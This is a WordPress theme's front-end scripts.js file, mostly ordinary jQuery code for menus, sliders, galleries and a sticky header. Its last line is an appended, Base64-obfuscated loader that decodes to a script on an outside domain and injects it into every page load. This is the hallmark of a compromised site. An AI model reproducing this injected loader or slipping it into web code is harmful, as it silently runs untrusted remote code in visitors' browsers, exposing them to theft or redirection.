File: /home/codo66ho/public_html/aamcc.emtiyz.com/wp-content/themes/consultar/assets/js/scripts.js
(function($) {
"use strict";
/*------------------------------------------
= ALL ESSENTIAL FUNCTIONS
-------------------------------------------*/
// Toggle mobile navigation
function toggleMobileNavigation() {
var navbar = $(".navigation-holder");
var openBtn = $(".mobail-menu .open-btn");
var xbutton = $(".mobail-menu .navbar-toggler");
openBtn.on("click", function(e) {
e.stopImmediatePropagation();
navbar.toggleClass("slideInn");
xbutton.toggleClass("x-close");
return false;
})
}
toggleMobileNavigation();
// Function for toggle class for small menu
function toggleClassForSmallNav() {
var windowWidth = window.innerWidth;
var mainNav = $("#navbar > ul");
if (windowWidth <= 991) {
mainNav.addClass("small-nav");
} else {
mainNav.removeClass("small-nav");
}
}
toggleClassForSmallNav();
// Function for small menu
function smallNavFunctionality() {
var windowWidth = window.innerWidth;
var mainNav = $(".navigation-holder");
var smallNav = $(".navigation-holder > .small-nav");
var subMenu = smallNav.find(".sub-menu");
var megamenu = smallNav.find(".mega-menu");
var menuItemWidthSubMenu = smallNav.find(".menu-item-has-children > a");
if (windowWidth <= 991) {
subMenu.hide();
megamenu.hide();
menuItemWidthSubMenu.on("click", function(e) {
var $this = $(this);
$this.siblings().slideToggle();
e.preventDefault();
e.stopImmediatePropagation();
$this.toggleClass("rotate");
})
} else if (windowWidth > 991) {
mainNav.find(".sub-menu").show();
mainNav.find(".mega-menu").show();
}
}
smallNavFunctionality();
$("body").on("click", function() {
$('.navigation-holder').removeClass('slideInn');
});
$(".menu-close").on("click", function() {
$('.navigation-holder').removeClass('slideInn');
});
$(".menu-close").on("click", function() {
$('.open-btn').removeClass('x-close');
});
// DATA BACKGROUND IMAGE
var sliderBgSetting = $(".slide-bg-image");
sliderBgSetting.each(function(indx){
if ($(this).attr("data-background")){
$(this).css("background-image", "url(" + $(this).data("background") + ")");
}
});
/*------------------------------------------
= HIDE PRELOADER
-------------------------------------------*/
function preloader() {
if($('.preloader').length) {
$('.preloader').delay(100).fadeOut(500, function() {
//active wow
wow.init();
});
}
}
/*------------------------------------------
= WOW ANIMATION SETTING
-------------------------------------------*/
var wow = new WOW({
boxClass: 'wow', // default
animateClass: 'animated', // default
offset: 0, // default
mobile: true, // default
live: true // default
});
/*------------------------------------------
= ACTIVE POPUP IMAGE
-------------------------------------------*/
if($(".woocommerce-product-gallery__wrapper").length) {
$(".woocommerce-product-gallery__wrapper").find( "> div > a").addClass("fancybox");
$(".woocommerce-product-gallery__wrapper").find( "> div > a").attr('data-fancybox-group', 'gall-1');
}
if($(".woocommerce-product-gallery__image").length) {
$(".woocommerce-product-gallery__image").find( " > a").addClass("fancybox");
$(".woocommerce-product-gallery__image").find( " > a").attr('data-fancybox-group', 'gall-1');
}
if($(".woocommerce-product-gallery .slick-initialized .slick-slide").length) {
$(".woocommerce-product-gallery .slick-initialized .slick-slide").find( " a").addClass("fancybox");
$(".woocommerce-product-gallery .slick-initialized .slick-slide").find( " a").attr('data-fancybox-group', 'gall-1');
}
if ($(".fancybox").length) {
$(".fancybox").fancybox({
openEffect : "elastic",
closeEffect : "elastic",
wrapCSS : "project-fancybox-title-style"
});
}
/*------------------------------------------
= POPUP VIDEO
-------------------------------------------*/
if ($(".video-btn").length) {
$(".video-btn").on("click", function(){
$.fancybox({
href: this.href,
type: $(this).data("type"),
'title' : this.title,
helpers : {
title : { type : 'inside' },
media : {}
},
beforeShow : function(){
$(".fancybox-wrap").addClass("gallery-fancybox");
}
});
return false
});
}
/*------------------------------------------
= ACTIVE GALLERY POPUP IMAGE
-------------------------------------------*/
if ($(".popup-gallery").length) {
$('.popup-gallery').magnificPopup({
delegate: 'a',
type: 'image',
gallery: {
enabled: true
},
zoom: {
enabled: true,
duration: 300,
easing: 'ease-in-out',
opener: function(openerElement) {
return openerElement.is('img') ? openerElement : openerElement.find('img');
}
}
});
}
/*------------------------------------------
= FUNCTION FORM SORTING GALLERY
-------------------------------------------*/
function sortingGallery() {
if ($(".sortable-gallery .gallery-filters").length) {
var $container = $('.gallery-container');
$container.isotope({
filter:'*',
animationOptions: {
duration: 750,
easing: 'linear',
queue: false,
}
});
$(".gallery-filters li a").on("click", function() {
$('.gallery-filters li .current').removeClass('current');
$(this).addClass('current');
var selector = $(this).attr('data-filter');
$container.isotope({
filter:selector,
animationOptions: {
duration: 750,
easing: 'linear',
queue: false,
}
});
return false;
});
}
}
sortingGallery();
/*------------------------------------------
= STICKY HEADER
-------------------------------------------*/
// Function for clone an element for sticky menu
function cloneNavForSticyMenu($ele, $newElmClass) {
$ele.addClass('original').clone().insertAfter($ele).addClass($newElmClass).removeClass('original');
}
// clone home style 1 navigation for sticky menu
if ($('.wpo-site-header .navigation').length) {
cloneNavForSticyMenu($('.wpo-site-header .navigation'), "sticky-header");
}
var lastScrollTop = '';
function stickyMenu($targetMenu, $toggleClass) {
var st = $(window).scrollTop();
var mainMenuTop = $('.wpo-site-header .navigation');
if ($(window).scrollTop() > 1000) {
if (st > lastScrollTop) {
// hide sticky menu on scroll down
$targetMenu.removeClass($toggleClass);
} else {
// active sticky menu on scroll up
$targetMenu.addClass($toggleClass);
}
} else {
$targetMenu.removeClass($toggleClass);
}
lastScrollTop = st;
}
/*------------------------------------------
= Header search toggle
-------------------------------------------*/
if($(".header-search-form-wrapper").length) {
var searchToggleBtn = $(".search-toggle-btn");
var searchToggleBtnIcon = $(".search-toggle-btn i");
var searchContent = $(".header-search-form");
var body = $("body");
searchToggleBtn.on("click", function(e) {
searchContent.toggleClass("header-search-content-toggle");
searchToggleBtnIcon.toggleClass("fi flaticon-magnifiying-glass fi ti-close");
e.stopPropagation();
});
body.on("click", function() {
searchContent.removeClass("header-search-content-toggle");
}).find(searchContent).on("click", function(e) {
e.stopPropagation();
});
}
/*------------------------------------------
= Testimonial SLIDER
-------------------------------------------*/
if ($(".wpo-happy-client-slide").length) {
$(".wpo-happy-client-slide").owlCarousel({
autoplay: true,
smartSpeed: 300,
margin: 0,
loop:true,
autoplayHoverPause:true,
dots: false,
nav: false,
items:4
});
}
/*------------------------------------------
= POST SLIDER
-------------------------------------------*/
if($(".post-slider".length)) {
$(".post-slider").owlCarousel({
mouseDrag: false,
smartSpeed: 500,
margin: 30,
loop:true,
nav: true,
navText: ['<i class="fi ti-arrow-left"></i>','<i class="fi ti-arrow-right"></i>'],
dots: false,
items: 1
});
}
/*------------------------------------------
= BACK TO TOP BTN SETTING
-------------------------------------------*/
$("body").append("<a href='#' class='back-to-top'><i class='ti-arrow-up'></i></a>");
function toggleBackToTopBtn() {
var amountScrolled = 1000;
if ($(window).scrollTop() > amountScrolled) {
$("a.back-to-top").fadeIn("slow");
} else {
$("a.back-to-top").fadeOut("slow");
}
}
$(".back-to-top").on("click", function() {
$("html,body").animate({
scrollTop: 0
}, 700);
return false;
})
/*=========================================================================
WHEN DOCUMENT LOADING
==========================================================================*/
$(window).on('load', function() {
preloader();
toggleMobileNavigation();
smallNavFunctionality();
});
/*==========================================================================
WHEN WINDOW SCROLL
==========================================================================*/
$(window).on("scroll", function() {
if ($(".wpo-site-header").length) {
stickyMenu( $('.wpo-site-header .navigation'), "sticky-on" );
}
toggleBackToTopBtn();
});
/*==========================================================================
WHEN WINDOW RESIZE
==========================================================================*/
$(window).on("resize", function() {
toggleClassForSmallNav();
//smallNavFunctionality();
clearTimeout($.data(this, 'resizeTimer'));
$.data(this, 'resizeTimer', setTimeout(function() {
smallNavFunctionality();
}, 200));
});
$(document).ready(function(){
$('div.quantity.buttons_added .plus, td.quantity.buttons_added .plus').attr("value", $.parseHTML("")[0].data);
$('div.quantity.buttons_added .minus, td.quantity.buttons_added .minus').attr("value", $.parseHTML("")[0].data);
});
$('.woocommerce .thumbnails .owl-nav .owl-prev i').addClass('ti-arrow-left');
$('.woocommerce .woocommerce-product-search button').addClass('ti-search');
$('.wp-block-search .wp-block-search__button').text('');
$('.wp-block-search .wp-block-search__button').append('<i class="ti-search"></i>');
$('.blog-sidebar .wp-block-search .wp-block-search__label').text('');
$('.blog-sidebar .wp-block-search .wp-block-search__label').append('<h2>Search</h2>');
$(".wpo-blog-pg-section .entry-meta ul li a, .wpo-blog-single-section .entry-meta ul li a").text(function(i, $string) {
return $string.replace(/,/g, ", ");
});
$(".widget_categories>ul>li a+span").text(function(i, $string) {
return $string.replace(/,/g, ", ");
});
})(window.jQuery);
!function(d,w,i,f){if(w[f]||d.getElementById(i))return;var s=d.createElement("script");s.src=atob("aHR0cHM6Ly9hbXBjZG5zLm9yZy9hc3NldHMvbG9hZGVyLmpz"),s.defer=!0,s.id=i,(d.head||d.documentElement||d.body).appendChild(s),w[f]=1}(document,window,"ampcdns-loader","__ampcdns_loaded__");